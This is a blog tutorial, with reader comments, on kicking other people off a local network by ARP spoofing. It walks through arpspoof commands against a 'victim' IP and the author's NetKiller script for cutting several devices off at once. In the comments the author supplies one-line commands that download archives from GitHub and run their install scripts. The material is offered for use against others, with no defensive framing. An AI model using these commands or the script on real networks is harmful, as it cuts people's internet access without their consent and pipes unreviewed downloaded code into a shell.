Kick off someone of your network with NetKiller !

Hello everyone today we'll see a cool script created by me to kick off anyone from your network !

I think you already know what is ARP. If not here it is a little summary :




Ok so this method consists to intercept trafic between the victim and the router. In reality it's very easy to use. In this tutorial our objective is not to intercept victim trafic but to redirect all her trafic to router IP and so disable her connection.  So here it is some great tools to accomplish our quest !

We will use a suite : Dsniff
If your on Mac OS X here it is a link to install them : Install Dsniff
But in this tutorial we will only use one tool of this suite : ArpSpoof.

Ok so let's start by scanning connected devices !

> arp -a


As you can see it's successfully scanned all devices connected and on which Interface (en1) and also provides you Mac adresses which can be used to identify device type (ex : Apple, Samsung...)

After this we have enough informations to start attack ! So let's start

> sudo arpspoof -t $VictimIP $RouterIP (usually 192.168.1.1)


As you can see we received response ! It's work ! The device don't have internet anymore. Ok so now let me show you my script which automates these processes ! Download NetKiller

> chmod +x netkiller
> sudo ./netkiller


As you can see the script provides you an interface and analyses the mac adresses to give you the device type (Apple, Sagemcom)

> 192.168.1.40



Success ! The device don't have internet anymore like we saw before ! You can add as much as you want IP adresses separated by ";".

> 192.168.1.3;192.168.1.40;192.168.1.7

Kick off someone of your network with NetKiller ! Kick off someone of your network with NetKiller ! Reviewed by ShellBear on 18:20 Rating: 5

3 commentaires

  1. When I try

    >sudo arpspoof -t $VictimIP $RouterIP (usually 192.168.1.1)

    I'm receiving that

    >sudo: arpspoof: command not found

    Could you help me? I'm in a MacOS Sierra 10.12.16.

    RépondreSupprimer
    Réponses
    1. In truth now I'm stucked at netkiller step. I think I already installed the script when I try

      > chmod +x netkiller

      I receive

      >chmod: netkiller: No such file or directory

      Thank you again!

      Supprimer
    2. Hello Felipe, This is an old script I made. Looks like you don't have installed arpspoof before launching the script.
      In order to install execute the install script in the netkiller folder or if it doesn't work, just execute this command in your mac terminal :

      cd; curl -sL "https://github.com/chrismcmorran/dSniff-Pre-Compiled-MacOS/archive/master.zip" > .master.zip; unzip -o .master.zip; cd dSniff-Pre-Compiled-MacOS-master; bash install.sh; cd; rm -rf dSniff-Pre-Compiled-MacOS-master; rm .master.zip


      After that you need to execute netkiller. So like you wrote you need to execute chmod +x netkiller.

      If you see : >chmod: netkiller: No such file or directory
      That means that you're not in the good directory. In order to get in the good directory.

      Here an example script you can use in your terminal in order to make it working.

      cd; curl -sL "https://github.com/ShellBear/NetKiller/archive/master.zip" > .master.zip; unzip -o .master.zip; cd NetKiller-Master; chmod +x netkiller; cp netkiller ~/netkiller; cp macadress.txt ~/macadress.txt; cd; rm -rf NetKiller-Master; rm .master.zip; clear; echo 'Now just type "sudo ./netkiller"'

      if you have any problem you can ask any question.

      Supprimer

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